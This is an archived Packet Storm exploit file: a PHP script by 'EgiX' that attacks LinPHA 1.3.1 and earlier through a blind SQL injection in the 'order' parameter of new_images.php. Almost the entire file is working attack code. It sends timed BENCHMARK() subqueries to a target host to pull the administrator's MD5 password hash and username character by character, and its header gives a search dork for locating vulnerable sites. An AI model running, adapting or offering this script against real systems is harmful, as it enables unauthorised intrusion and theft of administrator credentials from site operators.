linpha131-sql.txt

2007-07-31T00:00:00
ID PACKETSTORM:58150
Type packetstorm
Reporter EgiX
Modified 2007-07-31T00:00:00

Description

                                        
                                            `<?php  
  
/*  
LinPHA <= 1.3.1 (new_images.php) Remote Blind SQL Injection  
Hash Fishing Exploit / BENCHMARK() method  
  
author...: EgiX  
mail.....: n0b0d1es[at]hotmail[dot]com  
  
link.....: http://linpha.sourceforge.net/  
dork.....: "LinPHA Version 1.3.x" or "The LinPHA developers"  
  
vulnerable code in /include/img_view.class.php:  
  
183. function setDefaultOrder($default_order)  
184. {  
185. if(isset($_REQUEST['order']))  
186. {  
187. $this->order = $_REQUEST['order'];  
188.   
189. if($default_order != $_REQUEST['order'])  
190. {  
191. $this->link_address .= '&order='.$_REQUEST['order'];  
192. }  
193. }  
194. else  
195. {  
196. $this->order = $default_order;  
197. }  
198. }  
199.  
200. //  
201. // set sql query string  
202. //  
203. function setSql($sql_begin,$sql_where)  
204. {  
205. $this->sql_where = $sql_where." ".sql_perm()." AND ".  
206. PREFIX."photos.prev_path LIKE ".$GLOBALS['db']->Concat(PREFIX."first_lev_album.path","'%'").  
207. " ORDER by ".P.".".get_thumb_order($this->order); <-- BUG  
208.   
209. if(empty($sql_begin))  
210. {  
211. $sql_begin = "SELECT ".P.".id AS id, ".P.".name As name, ".P.".filename AS filename, " .  
212. "".P.".prev_path AS prev_path, ".P.".date AS date, " .  
213. "".P.".level AS level, ".P.".md5sum AS md5sum";  
214.  
215. }  
216. $this->sql = $sql_begin.$this->sql_where;  
217. $query = $GLOBALS['db']->Execute($this->sql);  
218. $this->num_photos = $query->RecordCount();  
219. }  
  
$_REQUEST['order'] ('$this->order') parameter isn't properly sanitised, so we should be able (with MySQL version 4.1 or higher)  
to inject sql code in a subquery after 'ORDER by' statement...we can retrive admin credentials with BENCHMARK() function!  
  
Too see table prefix: http://[host]/[linpha]/new_images.php?order=foo  
*/  
  
error_reporting(0);  
ini_set("default_socket_timeout",5);  
set_time_limit(0);  
  
function http_send($host, $packet)  
{  
$i = 0;  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
if ($i++ == 10) die();  
print "\n[-] No response from ".$host.":80 Trying again...\n";  
$sock = fsockopen($host,$port);  
sleep(1);  
}  
fputs($sock, $packet);  
$resp = "";  
while (!feof($sock)) $resp .= fread($sock, 1);  
fclose($sock);  
return $resp;  
}  
  
function getmicrotime()  
{   
list($usec, $sec) = explode(" ", microtime());   
return ((float)$usec + (float)$sec);   
}  
  
function getdelay($query)  
{  
global $host, $path;  
  
$pck = "GET ".$path."new_images.php?order=$query HTTP/1.1\r\n";  
$pck.= "Host: ".$host."\r\n";  
$pck.= "Keep-Alive: 300\r\n";  
$pck.= "Connection: keep-alive\r\n\r\n";  
$start = getmicrotime()*1000;  
http_send($host, $pck);  
$end = getmicrotime()*1000;  
  
return ($end - $start);  
}  
  
function normaldelay()  
{  
global $count, $prefix, $uid;  
  
$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/AND/**/RAND(IF(1=0,BENCHMARK(".$count.",MD5(1)),0)))";  
$d1 = getdelay($sql);  
$d2 = getdelay($sql);  
$d3 = getdelay($sql);  
$m = ($d1 + $d2 + $d3) / 3;  
return (intval($m));  
}  
  
function benchmarkdelay()  
{  
global $count, $prefix, $uid;  
  
$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/AND/**/RAND(IF(1=1,BENCHMARK(".$count.",MD5(1)),0)))";  
$d1 = getdelay($sql);  
$d2 = getdelay($sql);  
$d3 = getdelay($sql);  
$m = ($d1 + $d2 + $d3) / 3;  
return (intval($m));  
}  
  
function check_query($query)  
{  
global $ndelay;  
  
$ret = false;  
$d = intval(getdelay($query));  
if ($d > ($ndelay * 2)) $ret = true;  
return $ret;  
}  
  
function check_target()  
{  
// see if MySQL version is >= 4.1 (subqueries support) or other error  
global $host, $path;  
  
print "\n[-] Checking $host...";  
$pck = "GET ".$path."new_images.php?order=id,(SELECT/**/1) HTTP/1.1\r\n";  
$pck.= "Host: ".$host."\r\n";  
$pck.= "Keep-Alive: 300\r\n";  
$pck.= "Connection: keep-alive\r\n\r\n";  
$buff = http_send($host, $pck);  
if (!strpos($buff, "The LinPHA developers"))  
die("\n\n[-] Error... Probably wrong MySQL version!\n");  
else  
print " OK!\n";  
}  
  
print "\n+-----------------------------------------------------------------------------+";  
print "\n| LinPHA <= 1.3.1 (new_images.php) Remote Blind SQL Injection Exploit by EgiX |";  
print "\n+-----------------------------------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage: php $argv[0] host path [delay] [prefix] [userid]\n";  
print "\nhost: target server (ip/hostname)";  
print "\npath: path to linpha directory";  
print "\ndelay: delay for BENCHMARK() (dafault: 1000000)";  
print "\nprefix: table's prefix (default: linpha)";  
print "\nuserid: user id (default: 1 - admin)\n";  
print "\nExample: php $argv[0] localhost /linpha/";  
print "\nExample: php $argv[0] localhost / 2000000 other_prefix 2\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
$count = (isset($argv[3]) ? $argv[3] : 1000000);  
$prefix = (isset($argv[4]) ? $argv[4] : "linpha");  
$uid = (isset($argv[5]) ? $argv[5] : "1");  
  
check_target();  
  
print "\n[-] Testing delay time...";  
$ndelay = normaldelay();  
print "\n[-] Normal delay: $ndelay ms";  
$bdelay = benchmarkdelay();  
print "\n[-] Benchmark delay: $bdelay ms\n";  
  
$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);  
$index = 1; $md5 = "";  
print "\n[-] MD5 Hash: ";  
  
while (!strpos($md5, chr(0)))  
{  
for ($i = 0; $i <= count($hash); $i++)  
{  
if ($i == count($hash)) die("\n[-] Exploit failed...\n");  
  
$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/OR/**/" .  
"RAND(IF((ORD(SUBSTRING(password,".$index.",1))=".$hash[$i]."),BENCHMARK(".$count.",MD5(1)),1)))";  
  
if (check_query($sql))  
{  
$md5 .= chr($hash[$i]);  
print chr($hash[$i]);  
break;  
}  
}  
  
$index++;  
}  
  
$char = array(0); // null char  
for ($j = 97; $j <= 122; $j++) $char = array_merge($char, array($j)); // a-z  
for ($j = 65; $j <= 90; $j++) $char = array_merge($char, array($j)); // A-Z  
for ($j = 48; $j <= 57; $j++) $char = array_merge($char, array($j)); // 0-9  
  
$index = 1; $user = "";  
print "\n[-] Username: ";  
  
while (!strpos($user, chr(0)))  
{  
for ($i = 0; $i <= count($hash); $i++)  
{  
if ($i == count($hash)) die("\n[-] Exploit failed...\n");  
  
$sql = "id,(SELECT/**/nickname/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/OR/**/" .  
"RAND(IF((ORD(SUBSTRING(nickname,".$index.",1))=".$char[$i]."),BENCHMARK(".$count.",MD5(1)),1)))";  
  
if (check_query($sql))  
{  
$user .= chr($char[$i]);  
print chr($char[$i]);  
break;  
}  
}  
  
$index++;  
}  
  
print "\n\n[-] Successfull!\n";  
  
?>  
  
`